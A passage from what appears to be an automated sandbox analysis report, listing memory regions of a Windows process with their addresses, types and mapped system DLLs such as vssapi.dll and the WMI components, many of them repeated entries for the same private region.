0x7fef8db0000 end_va = 0x7fef8f5ffff entry_point = 0x7fef8db1010 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" Region: id = 3537 start_va = 0x7fef9190000 end_va = 0x7fef91a6fff entry_point = 0x7fef9191060 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" Region: id = 3538 start_va = 0x7fefbd70000 end_va = 0x7fefbd83fff entry_point = 0x7fefbd716b4 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" Region: id = 3539 start_va = 0x7fffff78000 end_va = 0x7fffff79fff entry_point = 0x0 region_type = private name = "private_0x000007fffff78000" filename = "" Region: id = 3540 start_va = 0x7fffff7a000 end_va = 0x7fffff7bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff7a000" filename = "" Region: id = 3541 start_va = 0x7fef8020000 end_va = 0x7fef806ffff entry_point = 0x7fef8021190 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" Region: id = 3542 start_va = 0x7fefd710000 end_va = 0x7fefd723fff entry_point = 0x7fefd714160 region_type = mapped_file name = "cryptdll.dll" filename = "\\Windows\\System32\\cryptdll.dll" Region: id = 3543 start_va = 0x2690000 end_va = 0x270ffff entry_point = 0x0 region_type = private name = "private_0x0000000002690000" filename = "" Region: id = 3544 start_va = 0x7fef8000000 end_va = 0x7fef8018fff entry_point = 0x7fef8001104 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" Region: id = 3545 start_va = 0x7fffff76000 end_va = 0x7fffff77fff entry_point = 0x0 region_type = private name = "private_0x000007fffff76000" filename = "" Region: id = 3546 start_va = 0x38a0000 end_va = 0x391ffff entry_point = 0x0 region_type = private name = "private_0x00000000038a0000" filename = "" Region: id = 3547 start_va = 0x7fef7e60000 end_va = 0x7fef7ecefff entry_point = 0x7fef7e6bf5c region_type = mapped_file name = "esscli.dll" filename = "\\Windows\\System32\\wbem\\esscli.dll" Region: id = 3548 start_va = 0x7fef7ed0000 end_va = 0x7fef7ffefff entry_point = 0x7fef7ed1080 region_type = mapped_file name = "wbemcore.dll" filename = "\\Windows\\System32\\wbem\\wbemcore.dll" Region: id = 3549 start_va = 0x7fef8250000 end_va = 0x7fef8276fff entry_point = 0x7fef82511a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" Region: id = 3550 start_va = 0x7fef8280000 end_va = 0x7fef8361fff entry_point = 0x7fef82a3814 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" Region: id = 3551 start_va = 0x3780000 end_va = 0x37fffff entry_point = 0x0 region_type = private name = "private_0x0000000003780000" filename = "" Region: id = 3552 start_va = 0x7fef7e40000 end_va = 0x7fef7e53fff entry_point = 0x7fef7e41070 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" Region: id = 3553 start_va = 0x7fffff74000 end_va = 0x7fffff75fff entry_point = 0x0 region_type = private name = "private_0x000007fffff74000" filename = "" Region: id = 3554 start_va = 0x7fef7dd0000 end_va = 0x7fef7e3afff entry_point = 0x7fef7e14344 region_type = mapped_file name = "hnetcfg.dll" filename = "\\Windows\\System32\\hnetcfg.dll" Region: id = 3555 start_va = 0x3100000 end_va = 0x317ffff entry_point = 0x0 region_type = private name = "private_0x0000000003100000" filename = "" Region: id = 3556 start_va = 0x39c0000 end_va = 0x3a3ffff entry_point = 0x0 region_type = private name = "private_0x00000000039c0000" filename = "" Region: id = 3557 start_va = 0x7fef7d50000 end_va = 0x7fef7dc3fff entry_point = 0x7fef7d566f0 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" Region: id = 3558 start_va = 0x7fef80a0000 end_va = 0x7fef80aefff entry_point = 0x7fef80a11d0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" Region: id = 3559 start_va = 0x7fefd2b0000 end_va = 0x7fefd30afff entry_point = 0x7fefd2b6940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" Region: id = 3560 start_va = 0x7fffff72000 end_va = 0x7fffff73fff entry_point = 0x0 region_type = private name = "private_0x000007fffff72000" filename = "" Region: id = 3561 start_va = 0x7fef7d20000 end_va = 0x7fef7d45fff entry_point = 0x7fef7d27948 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" Region: id = 3562 start_va = 0x7fef7ca0000 end_va = 0x7fef7d12fff entry_point = 0x7fef7cae480 region_type = mapped_file name = "repdrvfs.dll" filename = "\\Windows\\System32\\wbem\\repdrvfs.dll" Region: id = 3563 start_va = 0x7fefac90000 end_va = 0x7fefaca0fff entry_point = 0x7fefac916ac region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" Region: id = 3564 start_va = 0x3a40000 end_va = 0x3b3ffff entry_point = 0x0 region_type = private name = "private_0x0000000003a40000" filename = "" Region: id = 3565 start_va = 0x7fef7c90000 end_va = 0x7fef7c97fff entry_point = 0x7fef7c91414 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" Region: id = 3566 start_va = 0x7fefac70000 end_va = 0x7fefac87fff entry_point = 0x7fefac71bf8 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" Region: id = 3772 start_va = 0x1f40000 end_va = 0x1fbffff entry_point = 0x0 region_type = private name = "private_0x0000000001f40000" filename = "" Region: id = 3773 start_va = 0x2a10000 end_va = 0x2a8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a10000" filename = "" Region: id = 3774 start_va = 0x3700000 end_va = 0x377ffff entry_point = 0x0 region_type = private name = "private_0x0000000003700000" filename = "" Region: id = 3775 start_va = 0x3920000 end_va = 0x399ffff entry_point = 0x0 region_type = private name = "private_0x0000000003920000" filename = "" Region: id = 3776 start_va = 0x3b40000 end_va = 0x3d3ffff entry_point = 0x0 region_type = private name = "private_0x0000000003b40000" filename = "" Region: id = 3777 start_va = 0x3d40000 end_va = 0x413ffff entry_point = 0x0 region_type = private name = "private_0x0000000003d40000" filename = "" Region: id = 3778 start_va = 0x41e0000 end_va = 0x425ffff entry_point = 0x0 region_type = private name = "private_0x00000000041e0000" filename = "" Region: id = 3779 start_va = 0x4260000 end_va = 0x4a5ffff entry_point = 0x0 region_type = private name = "private_0x0000000004260000" filename = "" Region: id = 3780 start_va = 0x4ac0000 end_va = 0x4b3ffff entry_point = 0x0 region_type = private name = "private_0x0000000004ac0000" filename = "" Region: id = 3781 start_va = 0x4b40000 end_va = 0x4bbffff entry_point = 0x0 region_type = private name = "private_0x0000000004b40000" filename = "" Region: id = 3782 start_va = 0x4bc0000 end_va = 0x4dbffff entry_point = 0x0 region_type = private name = "private_0x0000000004bc0000" filename = "" Region: id = 3783 start_va = 0x4e20000 end_va = 0x4e9ffff entry_point = 0x0 region_type = private name = "private_0x0000000004e20000" filename = "" Region: id = 3784 start_va = 0x4f20000 end_va = 0x4f9ffff entry_point = 0x0 region_type = private name = "private_0x0000000004f20000" filename = "" Region: id = 3785 start_va = 0x4fa0000 end_va = 0x5f6ffff entry_point = 0x0 region_type = private name = "private_0x0000000004fa0000" filename = "" Region: id = 3786 start_va = 0x7fef7a80000 end_va = 0x7fef7a8bfff entry_point = 0x7fef7a8602c region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" Region: id = 3787 start_va = 0x7fef9a20000 end_va = 0x7fef9a35fff entry_point = 0x7fef9a21070 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" Region: id = 3788 start_va = 0x7fef9a40000 end_va = 0x7fef9afbfff entry_point = 0x7fef9a611dc region_type = mapped_file name = "WmiPrvSD.dll" filename = "\\Windows\\System32\\wbem\\WmiPrvSD.dll" Region: id = 3789 start_va = 0x7fffff60000 end_va = 0x7fffff61fff entry_point = 0x0 region_type = private name = "private_0x000007fffff60000" filename = "" Region: id = 3790 start_va = 0x7fffff62000 end_va = 0x7fffff63fff entry_point = 0x0 region_type = private name = "private_0x000007fffff62000" filename = "" Region: id = 3791 start_va = 0x7fffff64000 end_va = 0x7fffff65fff entry_point = 0x0 region_type = private name = "private_0x000007fffff64000" filename = "" Region: id = 3792 start_va = 0x7fffff66000 end_va = 0x7fffff67fff entry_point = 0x0 region_type = private name = "private_0x000007fffff66000" filename = "" Region: id = 3793 start_va = 0x7fffff68000 end_va = 0x7fffff69fff entry_point = 0x0 region_type = private name = "private_0x000007fffff68000" filename = "" Region: id = 3794 start_va = 0x7fffff6a000 end_va = 0x7fffff6bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff6a000" filename = "" Region: id = 3795 start_va = 0x7fffff6c000 end_va = 0x7fffff6dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff6c000" filename = "" Region: id = 3796 start_va = 0x7fffff6e000 end_va = 0x7fffff6ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff6e000" filename = "" Region: id = 3797 start_va = 0x7fffff70000 end_va = 0x7fffff71fff entry_point = 0x0 region_type = private name = "private_0x000007fffff70000" filename = "" Region: id = 3838 start_va = 0x350000 end_va = 0x350fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000350000" filename = "" Region: id = 3839 start_va = 0x4ea0000 end_va = 0x4f1ffff entry_point = 0x0 region_type = private name = "private_0x0000000004ea0000" filename = "" Region: id = 3840 start_va = 0x7fef99a0000 end_va = 0x7fef9a1dfff entry_point = 0x7fef99f1310 region_type = mapped_file name = "wbemess.dll" filename = "\\Windows\\System32\\wbem\\wbemess.dll" Region: id = 3841 start_va = 0x7fffff5e000 end_va = 0x7fffff5ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff5e000" filename = "" Region: id = 4049 start_va = 0x370000 end_va = 0x38bfff entry_point = 0x370000 region_type = mapped_file name = "FirewallAPI.dll.mui" filename = "\\Windows\\System32\\en-US\\FirewallAPI.dll.mui" Region: id = 4050 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4051 start_va = 0x5ff0000 end_va = 0x606ffff entry_point = 0x0 region_type = private name = "private_0x0000000005ff0000" filename = "" Region: id = 4052 start_va = 0x60a0000 end_va = 0x611ffff entry_point = 0x0 region_type = private name = "private_0x00000000060a0000" filename = "" Region: id = 4053 start_va = 0x61e0000 end_va = 0x625ffff entry_point = 0x0 region_type = private name = "private_0x00000000061e0000" filename = "" Region: id = 4054 start_va = 0x62a0000 end_va = 0x631ffff entry_point = 0x0 region_type = private name = "private_0x00000000062a0000" filename = "" Region: id = 4055 start_va = 0x6360000 end_va = 0x63dffff entry_point = 0x0 region_type = private name = "private_0x0000000006360000" filename = "" Region: id = 4056 start_va = 0x6420000 end_va = 0x649ffff entry_point = 0x0 region_type = private name = "private_0x0000000006420000" filename = "" Region: id = 4057 start_va = 0x6500000 end_va = 0x657ffff entry_point = 0x0 region_type = private name = "private_0x0000000006500000" filename = "" Region: id = 4058 start_va = 0x7fffff50000 end_va = 0x7fffff51fff entry_point = 0x0 region_type = private name = "private_0x000007fffff50000" filename = "" Region: id = 4059 start_va = 0x7fffff52000 end_va = 0x7fffff53fff entry_point = 0x0 region_type = private name = "private_0x000007fffff52000" filename = "" Region: id = 4060 start_va = 0x7fffff54000 end_va = 0x7fffff55fff entry_point = 0x0 region_type = private name = "private_0x000007fffff54000" filename = "" Region: id = 4061 start_va = 0x7fffff56000 end_va = 0x7fffff57fff entry_point = 0x0 region_type = private name = "private_0x000007fffff56000" filename = "" Region: id = 4062 start_va = 0x7fffff58000 end_va = 0x7fffff59fff entry_point = 0x0 region_type = private name = "private_0x000007fffff58000" filename = "" Region: id = 4063 start_va = 0x7fffff5a000 end_va = 0x7fffff5bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff5a000" filename = "" Region: id = 4064 start_va = 0x7fffff5c000 end_va = 0x7fffff5dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff5c000" filename = "" Region: id = 4065 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4082 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4083 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4116 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4118 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4119 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4120 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4121 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4122 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4123 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4124 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4125 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4126 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4127 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4128 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4129 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4130 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4131 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4132 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4133 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4134 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4135 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4136 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4137 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4138 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4139 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4140 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4141 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4142 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4143 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4144 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4145 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4146 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4147 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4148 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4149 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4150 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4151 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4152 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4153 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4154 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4155 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4156 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4157 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4158 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4159 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4160 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4161 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4162 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4163 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4164 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4165 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4166 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4167 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4168 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4169 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4170 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4171 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4172 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4173 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4174 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4175 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4176 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4177 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4178 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4179 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4180 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4181 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4182 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4183 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4184 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4185 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4186 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4187 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4188 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4189 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4190 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4191 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4192 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4193 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4194 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4195 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4196 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4197 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4198 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4199 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4200 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4201 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4202 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4203 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4204 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4205 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4206 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4207 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4208 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4209 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4210 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4211 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4212 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4213 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4214 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4215 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4216 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4217 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4218 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4219 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4220 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4221 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4222 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4223 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4224 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4225 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4226 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4227 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4228 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4229 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4230 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4231 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4232 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4233 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4234 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4235 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4236 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4237 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4238 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4239 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4240 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4241 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4242 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4243 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4244 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4245 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4246 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4247 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4248 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4249 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4250 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4251 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4252 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4253 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4254 